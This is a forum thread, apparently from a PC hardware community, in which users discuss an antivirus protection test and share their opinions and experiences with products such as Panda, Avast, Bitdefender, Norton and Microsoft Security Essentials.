# [AV/PC] Real World Antivirus Protection Test: 20+ Antiviruses Tested



## lombardsoup

I hope I'm not the only one that laughs when someone recommends Microsoft Security Essentials


----------



## kx11

am i the only one who use no AV ?!

almost 4 years and still going


----------



## lombardsoup

Quote:


> Originally Posted by *kx11*
> 
> am i the only one who use no AV ?!
> 
> almost 4 years and still going


Its called "don't use Windows", and it works


----------



## TheBloodEagle

Quote:


> Originally Posted by *lombardsoup*
> 
> I hope I'm not the only one that laughs when someone recommends Microsoft Security Essentials


It's just last because it's the default so every virus maker, etc, tries to go around it. But MS does update it frequently and I believe it does some special operations for verification of programs, etc in Windows 8 now. The exact info is escaping me at the moment though. But no doubt having a full security suite from another company is best.

Quote:


> Originally Posted by *lombardsoup*
> 
> Its called "don't use Windows", and it works


Unplugging the power cord from your computer forever also works...


----------



## lombardsoup

Quote:


> Originally Posted by *TheBloodEagle*
> 
> Unplugging the power cord from your computer forever also works...


lol y u no Linux?

Joking aside you're right, a dedicated solution is almost always better.


----------



## Derp

I wonder where norton would have placed.

Also, inb4 the horde of "the best protection is common sense, I haven't used an AV since XP!'


----------



## brucethemoose

Quote:


> Originally Posted by *kx11*
> 
> am i the only one who use no AV ?!
> 
> almost 4 years and still going


I don't use it on my Windows install either... But I also don't do anything important/sensitive on it.

Out of curiosity, where's Norton/Symantec? I thought they were a major AV player.
EDIT: It seems they chose not to participate in the test... That's not a good sign


----------



## TheBloodEagle

Also forgot to mention I'm currently using Avast! Internet Security. I think when my license runs out I'm going with Kaspersky next. Didn't they figure out a lot about Stuxnet & were one of the original reporters on it? That's gotta mean something about their skills, haha.


----------



## sherlock

I don't see whether these are free or paid version of those Anti-virus software? Did I miss it or did they not mention it.

Currently using Avast free in addition to Malwarebyte+Ghostery, might consider moving to Bitdefender free given this result.


----------



## bossie2000

These days free Anti-virus just don't cut it anymore!(if you are permantly connected to www) One needs a good internet security option. The onslaught is BIG!!


----------



## Dyson Poindexter

The only AV that works 100% of the time is the one between your ears.


----------



## bossie2000

The only AV that works 100% of the time is the one between your ears.

Not even! People getting sick everyday too!!


----------



## candy_van

I've never heard of Panda before, anyone here use it?

Curious how that or Bitdefender stack up to Eset in terms of not being intrusive / resource intensive.
Always read Kaspersky was good but was a pretty big hog.


----------



## Catscratch

Nice, Panda Cloud is in the lead


----------



## Mopar63

I have been using nothing but Windows and MSE since MSE released and have NEVER gotten any malware on my system.


----------



## brucethemoose

Quote:


> Originally Posted by *candy_van*
> 
> I've never heard of Panda before, anyone here use it?
> 
> Curious how that or Bitdefender stack up to Eset in terms of not being intrusive / resource intensive.
> Always read Kaspersky was good but was a pretty big hog.


From what I can tell, Kaspersky isn't a huge resource hog. Mcafee/Norton are an order of magnitude worse, and I catch MSE/Avast doing nasty background stuff far more often than Kaspersky.

I always hear good things about Panada though, they're probably worth trying.


----------



## zalbard

Quote:


> Originally Posted by *candy_van*
> 
> Curious how that or Bitdefender stack up to Eset in terms of not being intrusive / resource intensive.


Free Bitdefender is quite excellent. Uses only 25MB of RAM, unobtrusive (only notifies you when it finished regular auto-scans, default auto-updates are silent), no ads.

It does sometimes catch false positives, but that happens very rarely.

It replaced MSE around a year ago and I've been using it ever since.


----------



## nitrubbb

I switched to panda some time ago and other than 2 false positives I have no complaints.


----------



## BeerPowered

Panda is excellent. The usability of the program itself is better than Kaspersky IMO.


----------



## KSIMP88

Quote:


> Originally Posted by *kx11*
> 
> am i the only one who use no AV ?!
> 
> almost 4 years and still going


You expose your computer. Did you know that you could have a virus and never detect it by scanning? Once you play with fire.... You expose your PC. A/V has virtually no effect on PC performance anymore, at least on semi-modern machines.

Also, regarding Panda AV... I just dealt with a couple of systems that had Panda on them and yet they still were brought to their knees. I've always recommended Avast to my customers and when we do followups, there are only traces of spyware (level 1 cookie dough). Years strong for some.

Maybe its a coincidence. But 3 machines with the same program and 3 unrelated people who don't even know one another?? I don't like the software. And yes, it was up to date.


----------



## Catscratch

Panda has 4 executables running in the background, when you launch Main window from tray, it goes up to 50mb ram usage. When you close the main window, it resets the Memoy usage ( Private Working SET ) and it's up to 20mb total in background. The regular "Working Set" looks higher of course vs Private Working Set.


----------



## evoll88

No results for Comodo??


----------



## candy_van

Quote:


> Originally Posted by *zalbard*
> 
> Free Bitdefender is quite excellent. Uses only 25MB of RAM, unobtrusive (only notifies you when it finished regular auto-scans, default auto-updates are silent), no ads.
> 
> It does sometimes catch false positives, but that happens very rarely.
> 
> It replaced MSE around a year ago and I've been using it ever since.


Hmmm odd there's no manual scan on the free version, just auto on/off.
Seems pretty decent (been meaning to check it out for a while), though kinda lame you need to register even for the free one.


----------



## BeerPowered

Quote:


> Originally Posted by *KSIMP88*
> 
> You expose your computer. Did you know that you could have a virus and never detect it by scanning? Once you play with fire.... You expose your PC. A/V has virtually no effect on PC performance anymore, at least on semi-modern machines.
> 
> Also, regarding Panda AV... I just dealt with a couple of systems that had Panda on them and yet they still were brought to their knees. I've always recommended Avast to my customers and when we do followups, there are only traces of spyware (level 1 cookie dough). Years strong for some.
> 
> Maybe its a coincidence. But 3 machines with the same program and 3 unrelated people who don't even know one another?? I don't like the software. And yes, it was up to date.


AV is only a temporary protection. ANY system can be brought to its knees by incompetent clients, their AV won't stop that. They should add Cyber Security to the high school curriculum along side english and math and teach people from a young age how to safely use a computer.


----------



## KSIMP88

Well, I'm seeing consistancies. Maybe I am teaching my customers something! Better stop or I won't make money!


----------



## mr soft

Not much between the top 15 really, that graph reminds me of a FPS bench graph, where an extra 2 fps looks huge.
I´ll stick with Avast , 97% is good enough for me , besides it keeps me on my toes.

Not sure how Panda scored that high, they used to be like Norton , bloated / overpriced.
maybe because of excessive warnings; "opening .jpg could cause your PC to implode , are you sure you want to proceed?


----------



## Derp

Quote:


> Originally Posted by *zalbard*
> 
> Free Bitdefender is quite excellent. Uses only 25MB of RAM


I tried bitdefender free twice now with a six month gap between each tries. Both times I found it to be very unstable and crashed on me many times while other antiviruses never did for years.
Quote:


> Originally Posted by *Catscratch*
> 
> Panda has 4 executables running in the background, when you launch Main window from tray, it goes up to 50mb ram usage. When you close the main window, it resets the Memoy usage ( Private Working SET ) and it's up to 20mb total in background. The regular "Working Set" looks higher of course vs Private Working Set.


Norton, which people usually claims is a resource hog uses about 13MB at idle. But I honestly wouldn't mind giving up ten times more ram if it meant a bullet proof system.
Quote:


> Originally Posted by *candy_van*
> 
> Hmmm odd there's no manual scan on the free version, just auto on/off.
> Seems pretty decent (been meaning to check it out for a while), though kinda lame you need to register even for the free one.


You can force queue a full scan in the free version.


----------



## candy_van

Quote:


> Originally Posted by *mr soft*
> 
> 97% is good enough for me , besides it keeps me on my toes.


Best AV slogan ever.


----------



## brucethemoose

Quote:


> Originally Posted by *evoll88*
> 
> No results for Comodo??


I love Comodo, but I think their big product is the firewall, not AV.


----------



## Ultisym

Quote:


> Originally Posted by *candy_van*
> 
> I've never heard of Panda before, anyone here use it?
> 
> Curious how that or Bitdefender stack up to Eset in terms of not being intrusive / resource intensive.
> Always read Kaspersky was good but was a pretty big hog.


Ive used Panda for years. Never had any problems with the software other than the heuristic scan used to be a little to sensitive. But thats been ironed out along time ago. I really like the cloud version. My biggest problem with them is...well Panda....... Just doesnt sound very tough, LOL. Not to mentioned the little panda in the tray. I remember my wife saying awwww, thats so cute. They could at least make him look like a ninja Panda or something deadly looking. Joking aside, It really is good protection and is free for personal use.


----------



## 4ofus

Microsoft should just rethink their strategy. They do offer a highly effective set of controls just not in an simple application. For example, windows 7 & 8 systems have firewall, MSE, UAC and AppLocker. If configured correctly they offer a solid defense against virus and malware. IDK why Microsoft doesn't spend some time bundling these together.


----------



## zalbard

Quote:


> Originally Posted by *Derp*
> 
> I tried bitdefender free twice now with a six month gap between each tries. Both times I found it to be very unstable and crashed on me many times while other antiviruses never did for years.


Never had any AV software crash on me. Perhaps your system is unstable.
Quote:


> Originally Posted by *candy_van*
> 
> Hmmm odd there's no manual scan on the free version, just auto on/off.


There is.

Right click tray icon -> "Full System Scan". You can also scan individual files / folders / drives using Explorer's context menu.


----------



## Kittencake

I've been running avast for 10 years never had an issue yet that I'm aware of


----------



## armourcore9brker

No Malwarebytes?

I use the premium version and it seems to work great. It seems people supplement their AV with Malwarebytes (free) anyways.


----------



## Wihglah

Quote:


> Originally Posted by *kx11*
> 
> am i the only one who use no AV ?!
> 
> almost 4 years and still going


Nope

Disabled windows firewall, defender and UAC as well.

Ever since I actually had a virus, which arrived in a Norton update.

Quote:


> Originally Posted by *Dyson Poindexter*
> 
> The only AV that works 100% of the time is the one between your ears.


----------



## Derp

Quote:


> Originally Posted by *zalbard*
> 
> Never had any AV software crash on me. Perhaps your system is unstable.


Nope. Avast or Norton on the same systems won't crash, ever. It's probably a windows 8 thing.


----------



## frickfrock999

If you guys want a comprehensive protection combo, just get these 3 programs.

They cover all your bases. *Spyware + Malware + URL Blocking.*










I've been using them all for over a decade and they've always served me well.


----------



## PiOfPie

Quote:


> Originally Posted by *frickfrock999*
> 
> If you guys want a comprehensive protection combo, just get these 3 programs.
> 
> They cover all your bases. *Spyware + Malware + URL Blocking.*
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> I've been using them all for over a decade and they've always served me well.


The most important piece of security software there is SpeedFan, obviously.
Quote:


> Originally Posted by *brucethemoose*
> 
> I always hear good things about Panada though, they're probably worth trying.


I used their AV for a while and never had any problems. The only thing they lag behind on is footprint; they're a bit more obtrusive than MSE, Avira, and ESET, at least if you go by AV-comparative's performance test. On my end, system startup was about 1-2 seconds slower than it was with Avast or MSE, but I believe that may have been back when this computer was HDD-only.


----------



## PyroTechNiK

Quote:


> Originally Posted by *lombardsoup*
> 
> I hope I'm not the only one that laughs when someone recommends Microsoft Security Essentials


You are certainly not.


----------



## mboner1

Get ready to laugh.. I use MSE but in conjunction with the paid version of malwarebytes which is always running giving live protection. That should be enough right? Malwarebytes pretty much finds everything.

I just really have mse for the bleedingly obvious, plus it never (or very rarely) picks up false positives , and I just run malwarebytes virus scan every couple of weeks to be on the safe side.


----------



## frickfrock999

Quote:


> Originally Posted by *PiOfPie*
> 
> The most important piece of security software there is SpeedFan, obviously.


That's for fighting the most dangerous PC menace of all.

Drive by Furmark attacks.


----------



## kx11

Quote:


> Originally Posted by *frickfrock999*
> 
> If you guys want a comprehensive protection combo, just get these 3 programs.
> 
> They cover all your bases. *Spyware + Malware + URL Blocking.*
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> I've been using them all for over a decade and they've always served me well.


malewarebytes is enough for me

i run it couple of times every 6 months just to make sure

btw when i said i was running my PC without A/V i meant that i got MSE which is close to not having a AV at all


----------



## iSlayer

Quote:


> Originally Posted by *lombardsoup*
> 
> I hope I'm not the only one that laughs when someone recommends Microsoft Security Essentials


Er I use MSE on all my windows devices.

Doesn't eat resources like Chrome on a binge, runs quick, seems to be reliable.

I never put much stock in these AV rankers, the variability in ranking is immense.


----------



## <({D34TH})>

I always been using AVG Free as long as I can remember. Old habits die hard.


----------



## sherlock

Quote:


> Originally Posted by *kx11*
> 
> malewarebytes is enough for me
> 
> i run it *couple of times every 6 months* just to make sure
> 
> btw when i said i was running my PC without A/V i meant that i got MSE which is close to not having a AV at all


Quote:


> Originally Posted by *mboner1*
> 
> Get ready to laugh.. I use MSE but in conjunction with the paid version of malwarebytes which is always running giving live protection. That should be enough right? Malwarebytes pretty much finds everything.
> 
> I just really have mse for the bleedingly obvious, plus it never (or very rarely) picks up false positives , and I just run *malwarebytes virus scan every couple of weeks* to be on the safe side.


I auto-scheduled Malwarebytes to run threat scan *everyday* right after it gets a database update, I am just kind of maniac


----------



## .:hybrid:.

Why do these threads never discuss the content, but always circlejerk about how "I (don't) use X and never have been infected".


----------



## Master__Shake

its interesting that no products from norton are mentioned... seems reasonable the only thing they really do is hog resources anyway...

i use avast and pfblocker and haven't had an infection in who knows how long.


----------



## frickfrock999

Quote:


> Originally Posted by *Master__Shake*
> 
> its interesting that no products from norton are mentioned... seems reasonable the only thing they really do is hog resources anyway...
> 
> i use avast and pfblocker and haven't had an infection in who knows how long.


Norton's parent company (Symantec) refused to do the test when the site asked.

They wouldn't allow their software to be used.


----------



## Master__Shake

Quote:


> Originally Posted by *frickfrock999*
> 
> Norton's parent company (Symantec) refused to do the test when the site asked.
> 
> They wouldn't allow their software to be used.


the plot sickens


----------



## evoll88

Quote:


> Originally Posted by *brucethemoose*
> 
> I love Comodo, but I think their big product is the firewall, not AV.


I use both the firewall and AV plus malewarebytes and so far no problems.


----------



## Catscratch

Quote:


> Originally Posted by *Ultisym*
> 
> Ive used Panda for years. Never had any problems with the software other than the heuristic scan used to be a little to sensitive. But thats been ironed out along time ago. I really like the cloud version. My biggest problem with them is...well Panda....... Just doesnt sound very tough, LOL. Not to mentioned the little panda in the tray. I remember my wife saying awwww, thats so cute. They could at least make him look like a ninja Panda or something deadly looking. Joking aside, It really is good protection and is free for personal use.


Well, you know how pandas can be fierce fighting :




Anyway, USB vaccine is nice along with Recovery Kit but they got rid of Data Shield and Parental Controls :/


----------



## iSlayer

Quote:


> Originally Posted by *.:hybrid:.*
> 
> Why do these threads never discuss the content, but always circlejerk about how "I (don't) use X and never have been infected".


Because objectively ranking AV software is hard and subjectively ranking it is easy?


----------



## aweir

Quote:


> Originally Posted by *lombardsoup*
> 
> I hope I'm not the only one that laughs when someone recommends Microsoft Security Essentials


I used MSE once...until I got infected with the Antivirus XP virus non-virus anti unvirus. Now I use Comodo and I have adopted a foolproof strategy; if it's not on the trusted white list, it doesn't run at all.


----------



## BeerPowered

Quote:


> Originally Posted by *frickfrock999*
> 
> Norton's parent company (Symantec) refused to do the test when the site asked.
> 
> They wouldn't allow their software to be used.


Norton is also FREE with a Comcast subscription which should be a big hint about how BAD it is for your computer.


----------



## LocutusH

I am using ESET since years, and i never had any infection since.
But i dont think thats because of ESET, its more because i dont click any spam emails, or ads, or junk sites.

Moreover, i started to think a while ago, that these AV softwares are just data collecting spywares themselves. Just think about it. They are free, or almost free, and have access to all your files, browsers, emails... no one cares if the AV scans the files, or so... its considered normal. But if Origin does that, its SPYWARE!... whatever. I think virus threats are not even real nowadays. I mean the last one i encountered was the OneHalf on 386, good 20 years ago.

I think that AV companies real business is not in keeping people secure, but having access to everything they do...


----------



## Derp

Quote:


> Originally Posted by *frickfrock999*
> 
> Norton's parent company (Symantec) refused to do the test when the site asked.
> 
> They wouldn't allow their software to be used.


That just screams confidence.


----------



## iSlayer

Last year at work I was dealing with a rogue enterprise security suite saying programs I had written were viruses.

So, I did what I could to disable it, but that didn't work. Round two: fight. I delete the main executable for the antivirus.

I try recompiling things work fine for a couple hours then I see the AV is running again. It had reinstalled itself. So, I try again and that doesn't work. So I get serious and delete the executable and a handful of the libraries it needs to run. Fatality.

It was then that I realized there isn't a big difference between viruses and anti viruses. Antivirus is just a virus you install in place of other viruses.

And Norton is _the worst_ of viruses that are antiviruses.


----------



## Techie007

How come MalwareBytes AntiMalware wasn't included in the test?

Quote:


> Originally Posted by *kx11*
> 
> am i the only one who use no AV ?!
> 
> almost 4 years and still going


 No, you're not. I'm in.









Quote:


> Originally Posted by *iSlayer*
> 
> Last year at work I was dealing with a rogue enterprise security suite saying programs I had written were viruses.
> 
> So, I did what I could to disable it, but that didn't work. Round two: fight. I delete the main executable for the antivirus.
> 
> I try recompiling things work fine for a couple hours then I see the AV is running again. It had reinstalled itself. So, I try again and that doesn't work. So I get serious and delete the executable and a handful of the libraries it needs to run. Fatality.
> 
> It was then that I realized there isn't a big difference between viruses and anti viruses. Antivirus is just a virus you install in place of other viruses.
> 
> And Norton is _the worst_ of viruses that are antiviruses.


 The problem is, if you can do disable the antivirus software manually, so can a potential virus. LOL at the last two paragraphs.


----------



## xzamples

heres what you really need

windows defender
malwarebytes
panda cloud antivirus

thats it


----------



## sumitlian

"Norton Internet Security" for me forever.
I have been using it since 4 years, no virus at all.
10/10 Total Security.
uses <10MB RAM.


----------



## raisethe3

I use Avast Antivirus and it was been great for a couple years now.


----------



## DF is BUSY

which of those top anti-viruses have the best free version though? in terms of light-weight/non-intrusive/efficiency.


----------



## Acefire

Ha. Panda already has this article featured on their front page. Good job for the reviewer!


----------



## Ultisym

Quote:


> Originally Posted by *DF is BUSY*
> 
> which of those top anti-viruses have the best free version though? in terms of light-weight/non-intrusive/efficiency.


I havnt tried any other cloud based AV, but the Panda cloud version is pretty lightweight and efficient IMO. As for non-intrusive, What exactly are you concerned about? nag screens and such? Panda has a small popup that comes up in the corner every other day or so with the merits of why you should buy something etc on it. Simple close the window and its over. AVG did the same last I checked. not sure what the other free AV's do ad wise.


----------



## Crouch

I use ESET Nod 32 & I've never had my PC infected with any sort of viruses since then


----------



## Razzaa

Sandboxie + virus total = win


----------



## TFL Replica

Quote:


> Originally Posted by *Ultisym*
> 
> I havnt tried any other cloud based AV, but the Panda cloud version is pretty lightweight and efficient IMO. As for non-intrusive, What exactly are you concerned about? nag screens and such? Panda has a small popup that comes up in the corner every other day or so with the merits of why you should buy something etc on it. Simple close the window and its over. AVG did the same last I checked. not sure what the other free AV's do ad wise.


Avira and AVG have nag screens too. I have yet to see a free AV that doesn't nag the user.


----------



## mr soft

^ Avast does´nt nag at all.


----------



## Derp

Quote:


> Originally Posted by *mr soft*
> 
> ^ Avast does´nt nag at all.


The free version has pop up nags. I don't think I saw any nag from bitdefender free but I only used it for a few days. It's not a big deal IMO, it's free software.


----------



## sherlock

Quote:


> Originally Posted by *Derp*
> 
> The free version has pop up nags. I don't think I saw any nag from bitdefender free but I only used it for a few days. It's not a big deal IMO, it's free software.


The "pop up nags" in Avast gets turned off once you click "Silent/Gaming" Mode.


----------



## 161029

Quote:


> Originally Posted by *sherlock*
> 
> The "pop up nags" in Avast gets turned off once you click "Silent/Gaming" Mode.


This.

If its the voice reading you don't like, there's an option to turn it off.

Just leave Silent/Gaming mode off. No big deal unless you download some infected files extremely often.


----------



## Pendulum

Avast is alright, it's currently used throughout my college, it was painless to deploy throughout the school but it still lets viruses slip in. More or less due to careless users, I'm not the SA so I can't check everything.
BitDefender has been the best to me so far after using Zone Alarm and Kaspersky for a decade. BD is a bit too hard core for me so I usually don't use anything since I use sites I trust.

Overall best anti-virus: common sense


----------



## Ultisym

Quote:


> Originally Posted by *Derp*
> 
> It's not a big deal IMO, it's free software.


Agreed, as long as its not ridiculous its just not a big deal. Im trying to remember, i think its every other day i see the little ad in the corner. Thats not bad at all for something useful that is actually free.


----------



## itzhoovEr

http://www.bitdefender.com/media/html/softpedia-2015/ 9 months of free bitdefender and you can get up to 4 codes.


----------



## SpykeZ

Back when I was doing rootkits for IRC spiders, Kaspersky and Nod32 were the only ones we couldn't get passed no matter what we did. Glad to see Kaspersky still kicking butt.


----------



## Derp

For the many who are hating on Norton:
Quote:


> Symantec has long contended the file detection and retrospective tests performed by AV-Comparatives are irrelevant. Since those are included in the all-or-nothing package of tests, Symantec hasn't participated for years.
> 
> This time around, AV-Comparatives roped in Symantec and G DATA for testing, for informational purposes. The real-world test is exactly the kind of test Symantec believes should be universal, as it exercises the whole product. Symantec would have earned Advanced+ in this test, with a very high detection rate and no false positives


----------



## Bit_reaper

Hmmm. The AVG results aren't all that encouraging. Perhaps I should switch back to PANDA.


----------



## awdrifter

I use ESET NOD32, it's still in the top of the tested AVs.


----------



## nvidiaftw12

Quote:


> Originally Posted by *Derp*
> 
> I wonder where norton would have placed.
> 
> Also, inb4 the horde of "the best protection is common sense, I haven't used an AV since XP!'


They didn't even put it on the chart because they would have to re scale it from 87-100 to 0-100.


----------



## itzhoovEr

Quote:


> Originally Posted by *nvidiaftw12*
> 
> They didn't even put it on the chart because they would have to re scale it from 87-100 to 0-100.


Why do you think norton is bad? This isnt 2005.


----------



## Derp

Hating on Norton in 2014 is the same as recommending MSE in 2014. You're doing it wrong.


----------



## nvidiaftw12

How about because of how intrusive it is. How it asks you about everything. Or how it makes 18 links on your desktop for one program?

Lemme guess next you guys will be telling me Windows 8 is an absolutely perfect operating system with 0 issues ever.


----------



## KSIMP88

How about it costs too damn much?

And Windows 8 is great. It works great. Its not perfect. There is no such thing.

Some people don't like 8.
Now stop. Don't let that topic derail another thread.


----------



## itzhoovEr

Quote:


> Originally Posted by *KSIMP88*
> 
> How about it costs too damn much?
> 
> And Windows 8 is great. It works great. Its not perfect. There is no such thing.
> 
> Some people don't like 8.
> Now stop. Don't let that topic derail another thread.


Norton costs too much? All good paid AV are within roughly $10 difference.


----------



## Derp

Quote:


> Originally Posted by *KSIMP88*
> 
> How about it costs too damn much?
> 
> And Windows 8 is great. It works great. Its not perfect. There is no such thing.
> 
> Some people don't like 8.
> Now stop. Don't let that topic derail another thread.


Comcast has a monopoly in many areas of America, the amount of users even here on OCN that has them as their ISP is somewhat high and they provide Norton for free. I also don't see their normal prices being much more than the competition's paid AV.


----------



## DF is BUSY

Quote:


> Originally Posted by *Ultisym*
> 
> Quote:
> 
> 
> 
> Originally Posted by *DF is BUSY*
> 
> which of those top anti-viruses have the best free version though? in terms of light-weight/non-intrusive/efficiency.
> 
> 
> 
> I havnt tried any other cloud based AV, but the Panda cloud version is pretty lightweight and efficient IMO. As for non-intrusive, What exactly are you concerned about? nag screens and such? Panda has a small popup that comes up in the corner every other day or so with the merits of why you should buy something etc on it. Simple close the window and its over. AVG did the same last I checked. not sure what the other free AV's do ad wise.
Click to expand...

yeah nag screens and or pop up ads saying "when was the last time you scanned your computer?", stuff like that- I am way past those. I've no problems with false positives and such, but i rather have something that works, without nags or "ads", messages- protecting my computer but knows how to kick it up a notch if an intrusion does occur.

maybe i'm just being picky and or naive but that's why I've been sticking with MSE still despite how low it ranks. (lightweight + non-instrusive + no mess + user self-awareness = no problems)


----------



## Catscratch

Quote:


> Originally Posted by *DF is BUSY*
> 
> yeah nag screens and or pop up ads saying "when was the last time you scanned your computer?", stuff like that- I am way past those. I've no problems with false positives and such, but i rather have something that works, without nags or "ads", messages- protecting my computer but knows how to kick it up a notch if an intrusion does occur.
> 
> maybe i'm just being picky and or naive but that's why I've been sticking with MSE still despite how low it ranks. (lightweight + non-instrusive + no mess + user self-awareness = no problems)


Add a Malwarebytes Anti-Malware scan every week to your routines, then you are good.

PS: Frankly, to be caught up by a serious virus or spyware, you really have to be looking for trouble. If you read what you click(including installations) and download, chances are you are 90% safe anyway. The most common ones are only ADwares that nags you, changes your homepage and search, they dont even slow down the machine anymore.


----------



## sumitlian

Quote:


> Originally Posted by *Derp*
> 
> Hating on Norton in 2014 is the same as recommending MSE in 2014. You're doing it wrong.


This !

Norton has never disappointed me.
NIS has been 100% perfect, ultimate, total security to me.


----------



## Use

Quote:


> Originally Posted by *kx11*
> 
> am i the only one who use no AV ?!
> 
> almost 4 years and still going


I never used any AV on my PC only on my laptop. I just seem to know where to click and not to and last time I had a huge virus problem was about 10 years ago. Would have never thought panda was that efficient.


----------



## Inelastic

I'm a college student and I'm constantly hooking my laptop up to the school network, so there's no way I would go without anti-virus protection. I've been using AVG Free on my laptop, but I think I'll check out Panda's free version now.


----------



## deepor

Quote:


> Originally Posted by *Inelastic*
> 
> I'm a college student and I'm constantly hooking my laptop up to the school network, so there's no way I would go without anti-virus protection. I've been using AVG Free on my laptop, but I think I'll check out Panda's free version now.


Did it ever find something for you?


----------



## Inelastic

Quote:


> Originally Posted by *deepor*
> 
> Did it ever find something for you?


Yes, there has been a couple of occasions where it has. I also know some people who use OSX or Linux (hell, even some who do use WIndows) and their flash drives usually have viruses on them which it picks up. I've also found remnants of viruses on research computers (buried in the system restore files).

You'd be surprised just how oblivious some people can be to protecting their computers. I never see anything on my home computer (I use NOD32 on that), but when I'm at school I see it enough to know that I need it.


----------



## Ultisym

Quote:


> Originally Posted by *Inelastic*
> 
> I'm a college student and I'm constantly hooking my laptop up to the school network, so there's no way I would go without anti-virus protection. I've been using AVG Free on my laptop, but I think I'll check out Panda's free version now.


The computer lab in college was freaking awful. People just created viruses for the sake of it i guess. Im dating myself, but when i was in college they had just started using mcafee which did a decent job, but this was also when John Mcafee was there. I think about 3 or 4 years into his venture with antivirus software. Heck actually came to campus and pitched it.


----------



## arctia

Quote:


> Originally Posted by *Derp*
> 
> Comcast has a monopoly in many areas of America, the amount of users even here on OCN that has them as their ISP is somewhat high and they provide Norton for free. I also don't see their normal prices being much more than the competition's paid AV.


Good reminder about Norton being free with Comcast. I've been on Comcast forever and never thought to look at their free software packages. Just replaced MSE with it.


----------



## tr0llba1t

It is ridiculous the amount of people insult and ridicule Norton. I have never had an issue with them since I went back to using them about 5 years ago. Pre 2008, they were total trash and slowed my computer to a crawl, now it is a sleek powerful program. I just checked my process manager and I only found one Norton process running and it is only using 6000KB of RAM. There have been several times where I clicked into sites that I shouldn't have and have downloaded stuff that I shouldn't have, but it has never failed to block any threats. The only other AV that I would ever use is Webroot but it is so close with Norton I see no point to switching. Also for the people complaining about prices, you are doing it wrong. It is super cheap to buy keys from Amazon and eBay. I installed Trend Micro Complete on a persons computer and I got a legitimate key from eBay for $5. When I buy Norton I usually never pay more than $20 for a key.


----------



## the best around

using comdo firewall and AV, wonder how good their AV is?


----------



## PyroTechNiK

http://www.bitdefender.com/media/html/softpedia-2015/

If anyone is interested. Free license for 9 months. Offer expires in 1 day from the time of this post.


----------



## Mopar63

Quote:


> Originally Posted by *frickfrock999*
> 
> Norton's parent company (Symantec) refused to do the test when the site asked.
> 
> They wouldn't allow their software to be used.


Not sure this is accurate, I recall reading that these sites require the companies pay for the privilege of them testing them and publishing results.
Quote:


> Originally Posted by *the best around*
> 
> using comdo firewall and AV, wonder how good their AV is?


Comodo AV is very solid but very aggressive and can do a lot of false positives and block software. If you can deal with the hand holding it needs during install it is probably the BEST at stopping an infection.


----------



## BlackVenom

Avira : )
Quote:


> Originally Posted by *kx11*
> 
> am i the only one who use no AV ?!


I'm always curious as to how the "I don't use AV" crowd validates their clean systems. I'd assume using an AV to see is kind of against the whole... no AV part.... but without checking they're only assured that nothing particularly noticeable is happening.


----------



## Derp

Quote:


> Originally Posted by *Mopar63*
> 
> Not sure this is accurate, I recall reading that these sites require the companies pay for the privilege of them testing them and publishing results.


http://www.overclock.net/t/1502811/av-pc-real-world-antivirus-protection-test-20-antiviruses-tested/70#post_22590134


----------



## SpykeZ

Quote:


> Originally Posted by *Bit_reaper*
> 
> Hmmm. The AVG results aren't all that encouraging. Perhaps I should switch back to PANDA.


AVG has been crap for years. There's always been better free alternatives.


----------



## zooterboy

Quote:


> Originally Posted by *lombardsoup*
> 
> I hope I'm not the only one that laughs when someone recommends Microsoft Security Essentials


You're not.
Quote:


> Originally Posted by *TheBloodEagle*
> 
> It's just last because it's the default so every virus maker, etc, tries to go around it. But MS does update it frequently and I believe it does some special operations for verification of programs, etc in Windows 8 now. The exact info is escaping me at the moment though. But no doubt having a full security suite from another company is best.


No, it's because MSE is pretty much an AV in name only. It's only slightly better than intentionally putting viruses on your computer.


----------



## Diablosbud

Quote:


> Originally Posted by *lombardsoup*
> 
> lol y u no Linux?
> 
> Joking aside you're right, a dedicated solution is almost always better.


Believe me when I say you can still get a ton of terrible malware on Linux. I suggest a manual passive scanner (only scans the file system on command) just in case. Sometimes you give a program root privileges because it needs it to run and it has malicious code.

I'm not saying it happens frequently, but when I first started using Linux and discovered software I like some software I tried had malware in it.


----------



## djriful

Mine is:

Common Senses + Malwarebyte Pro Premium...


----------



## Sparhawk

These test aren't complete without system footprint and day-to-day usage comparison. I'm happy using my brain and letting MSE pick up the slack. I never get annoying popups, I feel like most AV software are more like the ad-ware/mal-ware they are trying to prevent...


----------



## TheBloodEagle

Most people just go with free, which isn't a bad idea. I went with Avast because not only does the UI look good and it functions well and even saves my arse from some websites, not just downloading. The 1-year license was only $20 I think after I had the free version they offered a deal. Avast with Malwarebytes plus Windows Defender has me feeling pretty secure. I still have nightmares about some of the viruses I've had before that took complete control. =/

Regarding resource hogging, this was massively true years ago on my terrible OEM computers of the past but at this point with the hardware I have, the AV suites barely make a dent. Avast in task manager says it is using 14,224K....Chrome with only 4 tabs open is showing over 910,000K usuage. I hover around 1% CPU usage and 3.8gb usuage out of 16gb ram.

If you put Silent mode on Avast, you don't get pop ups.


----------



## pr1me

Quote:


> Originally Posted by *PyroTechNiK*
> 
> http://www.bitdefender.com/media/html/softpedia-2015/
> 
> If anyone is interested. Free license for 9 months. Offer expires in 1 day from the time of this post.


Thanks


----------



## iamhollywood5

Cool to still see Panda on top. I switched to Panda about 6 months ago after a study just like this showed Panda as the best. Actually, I shouldn't say "switched" because I simply went without AV for a long time. I still dont consider it entirely necessary because I kinda go with the "common sense" crowd, but it's free and it's extremely lightweight, so, why not.


----------



## Exostenza

Quote:


> Originally Posted by *kx11*
> 
> am i the only one who use no AV ?!
> 
> almost 4 years and still going


I use Windows with no AV and haven't had a virus in years. I just know what to do and what not to do...

I throw down a full malwarebytes scan every couple of months and have never had anything come up.


----------



## XAslanX

And once again Avira is in the top 3, will continue to use it and recommend it as it has the smallest footprint I've seen and just works as it should.
Quote:


> Originally Posted by *frickfrock999*
> 
> Norton's parent company (Symantec) refused to do the test when the site asked.
> 
> They wouldn't allow their software to be used.


Quote:


> Originally Posted by *BeerPowered*
> 
> Norton is also FREE with a Comcast subscription which should be a big hint about how BAD it is for your computer.


Many of the clients I do work for like myself only have a choice of Comcast as a cable internet provider. Most of them choose to install free Norton that is provided with their service. Whenever they have issues with their machines, I do a scan with their Norton and it finds nothing, I remove Norton and install and run Avira. Every single time, Avira has picked up 10-80 infections that Norton completely missed. Not only that, it is a horrible system hog, you can actually feel the system lighten up after you remove it. So in short Norton is a system hog that has a poor detection rate.

Quote:


> Originally Posted by *DF is BUSY*
> 
> which of those top anti-viruses have the best free version though? in terms of light-weight/non-intrusive/efficiency.


Avira Free is what I recommend.


----------



## RushFudge

